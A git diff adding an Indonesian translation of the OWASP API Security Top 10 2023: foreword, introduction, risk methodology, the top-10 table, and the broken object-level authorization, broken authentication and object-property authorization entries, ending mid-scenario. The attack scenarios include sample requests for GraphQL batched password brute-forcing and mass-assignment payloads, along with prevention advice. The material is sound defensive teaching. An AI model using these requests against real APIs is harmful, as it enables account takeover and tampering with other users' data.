+Berdasarkan sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi yang Dapat Diidentifikasi (PII) dan karena ini, API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan menjadi mustahil. + +Meskipun masih dapat menggunakan Top 10 risiko keamanan aplikasi web yang lebih luas, namun karena sifat khususnya, dibutuhkan daftar risiko keamanan API yang spesifik. Keamanan API berfokus pada strategi dan solusi untuk memahami dan memitigasi kerentanan unik dan risiko keamanan yang terkait dengan API. + +Jika Anda sudah akrab dengan [Proyek OWASP Top 10][1], maka Anda akan melihat kesamaan di antara kedua dokumen: mereka ditujukan agar mudah dibaca dan diadopsi. Jika anda baru mengenal seri OWASP Top 10, anda mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] sebelum melompat ke daftar Top 10. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini terwujud dengan upaya dan kontribusi mereka. Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x03-introduction.md b/editions/2023/id/0x03-introduction.md new file mode 100644 index 000000000..1c7a21929 --- /dev/null +++ b/editions/2023/id/0x03-introduction.md @@ -0,0 +1,47 @@ +# Perkenalan + +## Selamat Datang di OWASP API Security Top 10 - 2023! + +Selamat datang di edisi kedua OWASP API Security Top 10! + +Dokumen ini pertama kali dipublikasikan pada tahun 2019. Sejak saat itu, industri keamanan API berkembang dan menjadi lebih dewasa. Kami sungguh percaya bahwa usaha ini telah berkontribusi positif terhadap hal itu, karena telah diadopsi secara cepat sebagai referensi industri. + +API memainkan peranan penting di dalam arsitektur aplikasi modern. Namun karena inovasi memiliki kecepatan yang berbeda dibanding membuat kesadaran keamanan, kami percaya adalah penting untuk fokus menciptakan kesadaran atas kelemahan-kelemahan keamanan API umum. + +Tujuan utama OWASP API Security Top 10 adalah mendidik mereka yang terlibat dalam pengembangan dan pengelolaan API, sebagai contoh, para pengembang, desainer, arsitek, manajer atau organisasi. Anda dapat mengetahui lebih lanjut tentang API Security +Project dengan mengunjungi [halaman proyek][1]. + +Jika anda tidak mengenal seri OWASP top 10, kami merekomendasikan anda untuk memeriksa beberapa proyek top 10 berikut ini: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Tidak ada proyek yang menggantikan satu dengan lainnya: jika anda bekerja dengan aplikasi mobile yang didukung oleh API back-end, anda sebaiknya membaca kedua top 10 yang terkait. Hal yang sama juga berlaku bila anda bekerja dengan aplikasi web atau desktop yang menggunakan API. + +Dalam bab [Metodologi dan Data][13], anda dapat membaca lebih lanjut bagaimana edisi ini dibuat. Untuk saat ini, kami menganjurkan setiap orang untuk berkontribusi dengan pertanyaan, komentar, dan ide Anda di repositori proyek GitHub kami [repositori GitHub][14] or +[Mailing list][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/id/0x04-release-notes.md b/editions/2023/id/0x04-release-notes.md new file mode 100644 index 000000000..e7cafa085 --- /dev/null +++ b/editions/2023/id/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Catatan Rilis + +Ini adalah edisi kedua OWASP API Security Top 10, tepat empat tahun setelah rilis pertama. Banyak perubahan terjadi dalam area keamanan API. Lalu lintas API meningkat dalam fase yang cepat, beberapa protokol API mendapatkan banyak daya tarik, berbagai solusi/vendor keamanan API telah bermunculan, dan tentu saja, para penyerang telah mengembangkan kemampuan dan teknik baru untuk menyerang API. Sudah saatnya untuk memperbarui daftar sepuluh risiko paling kritis keamanan API. + +Dengan semakin matangnya industri keamanan API, untuk pertama kalinya, ada [panggilan publik untuk data][1]. Namun sayangnya, tidak ada data yang dikontribusikan, namun berdasarkan pengalaman tim proyek, tinjauan cermat spesialis keamanan API, dan masukan dari komunitas, kami membuat daftar baru ini. Dalam bagian +[Metodologi dan Data][2], anda akan menemukan informasi rinci mengenai bagaimana versi ini dikembangkan. Informasi lebih rinci mengenai risiko keamanan silakan mengacu ke bagian +[Risiko Keamanan API][3]. + +OWASP API Security Top 10 2023 adalah dokumen kesadaran berwawasan ke depan untuk industri yang berkembang cepat. Dokumen ini tidak menggantikan TOP 10 lainnya. Dalam edisi ini: + +* Kami telah menggabungkan Paparan Data Berlebihan dan Penugasan Massal dengan berfokus pada akar masalah yang sama: kegagalan validasi otorisasi tingkat properti obyek. +* Kami lebih menekankan pada konsumsi sumber daya, daripada berfokus pada kecepatan mereka dihabiskan. +* Kami telah membuat kategori baru "Akses Tanpa Batas ke Aliran Bisnis Sensitif" untuk mengatasi ancaman baru, termasuk ancaman yang dapat dimitigasi dengan menggunakan pembatasan. +* Kami menambahkan "Konsumsi API yang Tidak Aman" untuk mengatasi sesuatu hal yang mulai kami jumpai: penyerang telah mulai menyasar layanan integrasi target, alih-alih menyerang API target secara langsung. Saat ini adalah saat yang tepat untuk mulai membuat kesadaran atas meningkatnya risiko ini. + +API memainkan peranan penting dalam arsitektur mikroservice modern, Single Page Applications (SPA), aplikasi mobile, IoT, dsb. OWASP API Security +Top 10 adalah upaya yang dibutuhkan untuk menciptakan kesadaran mengenai isu-isu keamanan API modern. + +Pembaruan ini hanya dimungkinkan berkat usaha besar beberapa sukarelawan yang tercantum dalam bagian [Ucapan Terima Kasih][4] section. + +Thank you! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0x10-api-security-risks.md b/editions/2023/id/0x10-api-security-risks.md new file mode 100644 index 000000000..f749e18d3 --- /dev/null +++ b/editions/2023/id/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risiko Keamanan API + +[Metodologi Pemeringkatan Risiko OWASP][1] digunakan untuk melakukan analisis risiko. + +Tabel berikut merangkum istilah yang diasosiasikan dengan nilai risiko. + +| Agen Ancaman | Eksploitasi | Prevalensi Kelemahan | Deteksi Kelemahan | Dampak Teknikal | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spesifik API | Mudah : **3** | Tersebar luas **3** | Mudah **3** | Severe **3** | Spesifik Bisnis | +| Spesifik API | Menengah: **2** | Umum **2** | Menengah **2** | Sedang **2** | Spesifik Bisnis | +| Spesifik API | Sukar: **1** | Sukar **1** | Sukar **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak mempertimbangkan kemungkinan agen ancaman, dan juga tidak mempertimbangkan berbagai rincian teknikal yang terkait dengan aplikasi anda. Semua faktor ini dapat secara signifikan mempengaruhi kemungkinan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Pemeringkatan ini tidak mempertimbangkan dampak aktual terhadap bisnis anda. Organisasi anda perlu menentukan tingkat risiko keamanan aplikasi dan API yang dapat diterima berdasarkan budaya, industri, dan lingkungan regulasi anda. OWASP API Security Top +10 tidak bertujuan melakukan risiko analisis ini untuk anda. Oleh karena edisi ini bukan berdasarkan data, namun berdasarkan konsensus umum di antara anggota tim. + +## Referensi + +### OWASP + +* [Metodologi Pemeringkatan Risiko OWASP][1] +* [Artikel tentang Pemodelan Ancaman/Risiko][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/id/0x11-t10.md b/editions/2023/id/0x11-t10.md new file mode 100644 index 000000000..94a7b8ec6 --- /dev/null +++ b/editions/2023/id/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 Risiko Keamanan API – 2023 + +| Risiko | Keterangan | +| ---- | ----------- | +| [API1:2023 - Otorisasi Level Objek yang Rusak][api1] | API cenderung memaparkan titik akhir yang menangani pengenal obyek, hal ini menciptakan sebuah permukaan serangan yang luas atas Kendali Akses Tingkat Obyek. Pemeriksaan otorisasi tingkat obyek perlu dipertimbangkan di setiap fungsi yang mengakses sumber data menggunakan ID pengguna. | +| [API2:2023 - Otentikasi yang Rusak][api2] | Mekanisme otentikasi seringkali tidak diimplementasikan dengan tepat, hal ini memungkinkan penyerang untuk mengambil token otentikasi atau mengeksploitasi celah implementasi untuk mengambil identitas user lain secara sementara atau permanen. Membahayakan kemampuan sistem untuk mengeidentifikasi klien/pengguna, membahayakan keseluruhan keamanan API. | +| [API3:2023 - Otorisasi Tingkat Properti Objek yang Rusak][api3] | Kategori ini menggabungkan [API3:2019 Pengungkapan Data Berlebihan][1] dan [API6:2019 - Penugasan Massal][2], berfokus pada akar masalah: tidak adanya atau tidak tepatnya validasi otorisasi pada tingkat properti obyek. Hal ini berakibat pengungkapan atau manipulasi informasi oleh pihak yang tidak berwenang. | +| [API4:2023 - Konsumsi Sumber Daya yang Tidak Terbatas][api4] | Pemenuhan permintaan API membutuhkan sumber daya seperti lebar pita jaringan, CPU, memori, dan penyimpanan. Sumber daya lain seperti email/SMS/panggilan telpon atau validasi biometrik disediakan oleh para penyelenggara melalui integrasi API, dan dibayar berdasarkan jumlah permintaan. Serangan yang berhasil dapat menyebabkan Denial of Service atau meningkatnya biaya operasional. | +| [API5:2023 - Otorisasi Tingkat Fungsi yang Rusak][api5] | Kebijakan kendali akses yang kompleks dengan hierarki, kelompok, dan peran yang berbeda, serta tidak jelasnya pemisahan fungsi administratif dan reguler, cenderung mengakibatkan terjadinya celah otorisasi. Dengan mengeksploitasi isu ini, penyerang dapat memperoleh akses ke sumber daya dan/atau fungsi administratif pengguna lain. | +| [API6:2023 - Akses Tanpa Batas ke Aliran Bisnis Sensitif][api6] | API yang rentan terhadap risiko ini memaparkan alur bisnis - seperti membeli tiket, atau memberikan komentar - tanpa mengkompensasi bagaimana fungsionalitas tersebut dapat membahayakan bisnis bila digunakan secara berlebihan dengan menggunakan cara yang terotomatisasi. Hal ini tidak berarti disebabkan oleh kesalahan implementasi. | +| [API7:2023 - Pemalsuan Permintaan Sisi Server][api7] | Celah Pemalsuan Permintaan Sisi Server (Server-Side Request Forgery - SSRF) dapat terjadi ketika API mengambil sumber daya jauh tanpa memvalidasi URI yang diberikan pengguna. Hal ini memungkinan penyerang memaksa aplikasi untuk mengirimkan permintaan ke tujuan yang tidak terduga, bahkan bila dilindungi oleh firewall atau VPN. | +| [API8:2023 - Miskonfigurasi Keamanan][api8] | API dan sistem yang mendukung mereka biasanya berisikan konfigurasi yang kompleks, yang dimaksudkan untuk mempermudah penyesuaian API. Insinyur Software and DevOps dapat melewatkan konfigurasi ini, atau tidak mengikuti praktek keamanan terbaik, membuka pintu bagi beragam jenis serangan. | +| [API9:2023 - Pengelolaan Inventaris yang Tidak Tepat][api9] | API cenderung memaparkan lebih banyak titik akhir dibandingkan aplikasi web tradisional, membuat dokumentasi yang tepat dan terkini menjadi sangat penting. Inventori yang tepat mengenai host dan versi API yang diterapkan juga penting untuk memitigasi isu seperti API yang tidak lagi digunakan dan terbukanya titik akhir debug. | +| [API10:2023 - Konsumsi API yang Tidak Aman][api10] | Pengembang software cenderung mempercayai data yang diterima dari API pihak ketiga daripada input pengguna, dan akibatnya cenderung mengadopsi standar keamanan yang lebih lemah. Dalam rangka membahayakan API, penyerang mentargetkan layanan pihak ketiga alih-alih berusaha menyerang target API secara langsung. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/id/0xa1-broken-object-level-authorization.md b/editions/2023/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..34023fb7f --- /dev/null +++ b/editions/2023/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,75 @@ +# API1:2023 Otorisasi Level Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Luas** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| Penyerang dapat mengeksploitasi endpoint API yang rentan terhadap otorisasi level obyek yang rusak dengan memanipulasi ID obyek yang dikirim dalam permintaan. ID obyek bisa apa saja dari integer sekuensial, UUID, atau string generik. Terlepas dari tipe datanya, mereka mudah diidentifikasi dalam target permintaan (parameter path atau query string), header permintaan, atau bahkan sebagai bagian dari payload permintaan. | Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak keadaan klien, dan sebaliknya, lebih mengandalkan parameter seperti ID obyek, yang dikirim dari klien untuk memutuskan obyek mana yang akan diakses. Respons server biasanya cukup untuk mengetahui apakah permintaan berhasil. | Akses tanpa otorisasi ke obyek pengguna lain dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Dalam keadaan tertentu, akses tanpa otorisasi ke obyek juga dapat mengarah pada pengambilalihan akun total. | + +## Apakah API Rentan? + +Otorisasi level obyek adalah mekanisme kendali akses yang biasanya diimplementasikan di level kode untuk memvalidasi bahwa pengguna hanya dapat mengakses obyek yang seharusnya mereka miliki izin untuk mengaksesnya. + +Setiap endpoint API yang menerima ID obyek, dan melakukan tindakan apa pun pada obyek, harus menerapkan pemeriksaan otorisasi level obyek. Pemeriksaan tersebut harus memvalidasi bahwa pengguna yang login memiliki izin untuk melakukan tindakan yang diminta pada obyek yang diminta. + +Kegagalan dalam mekanisme ini biasanya mengarah pada pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +Membandingkan ID pengguna sesi saat ini (misalnya dengan mengekstraknya dari token JWT) dengan parameter ID rentan bukanlah solusi yang memadai untuk menyelesaikan Otorisasi Level obyek yang Rusak (BOLA). Pendekatan ini hanya bisa mengatasi sebagian kecil kasus. + +Dalam kasus BOLA, memang dirancang bahwa pengguna akan memiliki akses ke endpoint/fungsi API yang rentan. Pelanggaran terjadi pada level obyek, dengan memanipulasi ID. Jika penyerang berhasil mengakses endpoint/fungsi API yang seharusnya tidak mereka akses - ini adalah kasus [Otorisasi Tingkat Fungsi yang Rusak][5] (BFLA) daripada BOLA. + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah platform e-commerce untuk toko online (toko) menyediakan sebuah halaman berisi grafik pendapatan toko yang di-hosting. Dengan memeriksa permintaan browser, seorang penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya: `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat memperoleh daftar semua nama toko yang di-hosting. Dengan skrip sederhana untuk memanipulasi nama dalam daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Sebuah produsen otomotif telah mengaktifkan kendali jarak jauh kendaraannya melalui API seluler untuk berkomunikasi dengan ponsel pengemudi. API memungkinkan pengemudi untuk memulai dan menghentikan mesin dan mengunci serta membuka kunci pintu dari jarak jauh. Sebagai bagian dari alur ini, pengguna mengirim Nomor Identifikasi Kendaraan (VIN) ke API. +API gagal memvalidasi bahwa VIN mewakili kendaraan yang dimiliki pengguna yang login, yang menyebabkan kerentanan BOLA. Seorang penyerang dapat mengakses kendaraan yang bukan miliknya. + +### Skenario #3 + +Layanan penyimpanan dokumen online memungkinkan pengguna untuk melihat, mengedit, menyimpan, dan menghapus dokumen mereka. Ketika dokumen pengguna dihapus, sebuah mutasi GraphQL dengan ID dokumen dikirim ke API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Karena dokumen dengan ID yang diberikan dihapus tanpa pemeriksaan izin lebih lanjut, pengguna mungkin dapat menghapus dokumen pengguna lain. + +## Cara Mencegah + +* Terapkan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di basis data. +* Sebaiknya gunakan nilai acak dan tidak terduga sebagai GUID untuk ID catatan. +* Tulis tes untuk mengevaluasi kerentanan mekanisme otorisasi. Jangan terapkan perubahan yang membuat tes gagal. + +## Referensi + +### OWASP + +* [Cheat Sheet Otorisasi][1] +* [Cheat Sheet Otomatisasi Pengujian Otorisasi][2] + +### Eksternal + +* [CWE-285: Otorisasi Tidak Tepat][3] +* [CWE-639: Otorisasi yang Dilewati Melalui Kunci yang Dikendalikan Pengguna][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/id/0xa2-broken-authentication.md b/editions/2023/id/0xa2-broken-authentication.md new file mode 100644 index 000000000..ceb2bb58b --- /dev/null +++ b/editions/2023/id/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Autentikasi yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Parah** Teknis: Spesifik Bisnis | +| Mekanisme autentikasi adalah target yang mudah bagi penyerang karena terpapar ke semua orang. Meskipun keterampilan teknis yang lebih tinggi mungkin dibutuhkan untuk mengeksploitasi beberapa masalah autentikasi, alat eksploitasi umumnya tersedia. | Kesalahpahaman insinyur perangkat lunak dan keamanan mengenai batasan autentikasi dan kerumitan implementasi bawaan menjadikan masalah autentikasi hal yang lazim. Metodologi untuk mendeteksi autentikasi yang rusak tersedia dan mudah dibuat. | Penyerang dapat memperoleh kendali penuh atas akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka. Sistem kemungkinan besar tidak dapat membedakan tindakan penyerang dari tindakan pengguna yang sah. | + +## Apakah API Rentan? + +Endpoint dan alur autentikasi adalah aset yang perlu dilindungi. Selain itu, "Lupa kata sandi / reset kata sandi" harus diperlakukan sama dengan mekanisme autentikasi. + +Sebuah API rentan bila: + +* Mengizinkan credential stuffing ketika penyerang menggunakan brute force dengan daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail autentikasi sensitif, seperti token auth dan kata sandi di URL. +* Memungkinkan pengguna merubah alamat email mereka, kata sandi saat ini, atau melakukan operasi sensitif lainnya tanpa meminta konfirmasi kata sandi. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`{"alg":"none"}`) +* Tidak memvalidasi tanggal kadaluwarsa JWT. +* Menggunakan kata sandi teks biasa, tidak dienkripsi, atau menggunakan hash yang lemah. +* Menggunakan kunci enkripsi yang lemah. + +Selain itu, mikroservis itu rentan jika: + +* Mikroservis lain dapat mengaksesnya tanpa otentikasi +* Menggunakan token lemah atau dapat diprediksi untuk memastikan otentikasi + +## Skenario Serangan Contoh + +## Skenario #1 + +Untuk melakukan autentikasi pengguna, klien harus mengirimkan permintaan API seperti di bawah ini dengan kredensial pengguna: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Jika kredensial valid, lalu token auth akan dikembalikan yang harus diberikan dalam permintaan berikutnya untuk mengidentifikasi pengguna. Upaya login dibatasi dengan pembatasan laju yang ketat: hanya tiga permintaan yang diizinkan per menit. + +Untuk melakukan brute force login dengan akun korban, aktor jahat memanfaatkan query batching GraphQL untuk mengatasi pembatasan tingkat permintaan, mempercepat serangan: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Skenario #2 + +Untuk memperbarui alamat email yang terkait dengan akun pengguna, klien harus mengirimkan permintaan API seperti berikut ini: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Karena API tidak mengharuskan pengguna untuk mengkonfirmasi identitas mereka dengan memberikan kata sandi saat ini, aktor jahat yang mampu menempatkan diri dalam posisi untuk mencuri token auth mungkin dapat mengambil alih akun korban dengan memulai alur kerja reset kata sandi setelah memperbarui alamat email akun korban. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua alur kemungkinan untuk mengotentikasi API (mobile/web/tautan langsung yang mengimplementasikan otentikasi satu klik/dll.). Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Bacalah tentang mekanisme autentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan demikian pula kunci API. +* Jangan menciptakan ulang dalam otentikasi, pembuatan token, atau penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti endpoint login dalam hal brute force, pembatasan tingkat, dan perlindungan penguncian. +* Haruskan otentikasi ulang untuk operasi sensitif (misalnya mengubah alamat email pemilik akun/nomor telepon 2FA). +* Gunakan [Cheat Sheet Autentikasi OWASP][1]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi credential stuffing, serangan kamus, dan serangan brute force pada endpoint otentikasi Anda. Mekanisme ini harus lebih ketat dari mekanisme pembatasan tingkat biasa pada API Anda. +* Implementasikan mekanisme penguncian akun/captcha untuk mencegah serangan brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API tidak boleh digunakan untuk otentikasi pengguna. Mereka hanya boleh digunakan untuk otentikasi [klien API][2]. + +## Referensi + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Eksternal + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html + diff --git a/editions/2023/id/0xa3-broken-object-property-level-authorization.md b/editions/2023/id/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..82864b998 --- /dev/null +++ b/editions/2023/id/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Otorisasi Tingkat Properti Obyek yang Rusak + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | **Umum** Prevalensi: **Mudah** Terdeteksi | **Sedang** Teknis: Spesifik Bisnis | +| API cenderung mengekspos endpoint yang mengembalikan semua properti obyek. Hal ini khususnya berlaku untuk API REST. Untuk protokol lain seperti GraphQL, mungkin memerlukan permintaan yang dibuat untuk menentukan properti mana yang harus dikembalikan. Mengidentifikasi properti tambahan ini yang dapat dimanipulasi memerlukan lebih banyak upaya, tetapi ada beberapa alat otomatis yang tersedia untuk membantu tugas ini. | Memeriksa respons API sudah cukup untuk mengidentifikasi informasi sensitif dalam representasi obyek yang dikembalikan. Fuzzing biasanya digunakan untuk mengidentifikasi properti tambahan (tersembunyi). Apakah mereka dapat diubah adalah masalah pembuatan permintaan API dan menganalisis respons. Analisis efek samping mungkin diperlukan jika properti target tidak dikembalikan dalam respons API. | Akses tanpa otorisasi ke properti obyek privat/sensitif dapat mengakibatkan pengungkapan data, kehilangan data, atau kerusakan data. Dalam keadaan tertentu, akses tanpa otorisasi ke properti obyek dapat mengarah ke eskalasi hak istimewa atau pengambilalihan akun parsial/total. | + +## Apakah API Rentan? + +Ketika mengizinkan pengguna mengakses obyek menggunakan endpoint API, penting untuk memvalidasi bahwa pengguna memiliki akses ke properti obyek tertentu yang mereka coba akses. + +Sebuah endpoint API rentan jika: + +* Endpoint API memaparkan properti obyek yang dianggap sensitif dan tidak boleh dibaca oleh pengguna. (sebelumnya bernama: "[Paparan Data Berlebihan][1]") +* Endpoint API memungkinkan pengguna untuk mengubah, menambah/atau menghapus nilai properti obyek sensitif yang seharusnya tidak dapat diakses pengguna (sebelumnya bernama: "[Penugasan Massal][2]") + +## Skenario Serangan Contoh + +### Skenario #1 + +Sebuah aplikasi kencan memungkinkan pengguna melaporkan pengguna lain karena perilaku yang tidak pantas. Sebagai bagian dari alur ini, pengguna mengklik tombol "laporkan", dan memicu panggilan API berikut: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Endpoint API rentan karena memungkinkan pengguna terotentikasi memiliki akses ke properti obyek pengguna sensitif yang dilaporkan, seperti "fullName" dan "recentLocation" yang seharusnya tidak diakses oleh pengguna lain. + +### Skenario #2 + +Sebuah platform marketplace online, yang menawarkan satu jenis pengguna ("host") untuk menyewakan apartemen mereka ke jenis pengguna lain ("tamu"), mensyaratkan host untuk menerima pemesanan yang dibuat oleh tamu, sebelum membebankan biaya kepada tamu untuk menginap. + +Sebagai bagian alur ini, sebuah panggilan API dikirim oleh host ke `POST /api/host/approve_booking` dengan payload sah berikut ini: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore" +} +``` + +Host mengirimkan ulan permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "approved": true, + "comment": "Check-in setelah pukul 3 sore", + "total_stay_price": "$1,000,000" +} +``` + +Endpoint API rentan karena tidak ada validasi bahwa host harus memiliki akses ke properti obyek internal - `total_stay_price`, dan tamu akan dikenakan biaya lebih dari yang seharusnya. + +### Skenario #3 + +Sebuah jejaring sosial yang didasarkan pada video pendek, menerapkan filter konten yang membatasi dan sensor yang ketat. Bahkan jika video yang diunggah diblokir, pengguna dapat mengubah deskripsi video menggunakan permintaan API berikut: + +``` +PUT /api/video/update_video + +{ + "description": "video lucu tentang kucing" +} +``` + +Pengguna yang frustrasi dapat mengirimkan ulang permintaan yang sah, dan menambahkan payload berbahaya berikut: + +``` +{ + "description": "video lucu tentang kucing", + "blocked": false +} +``` 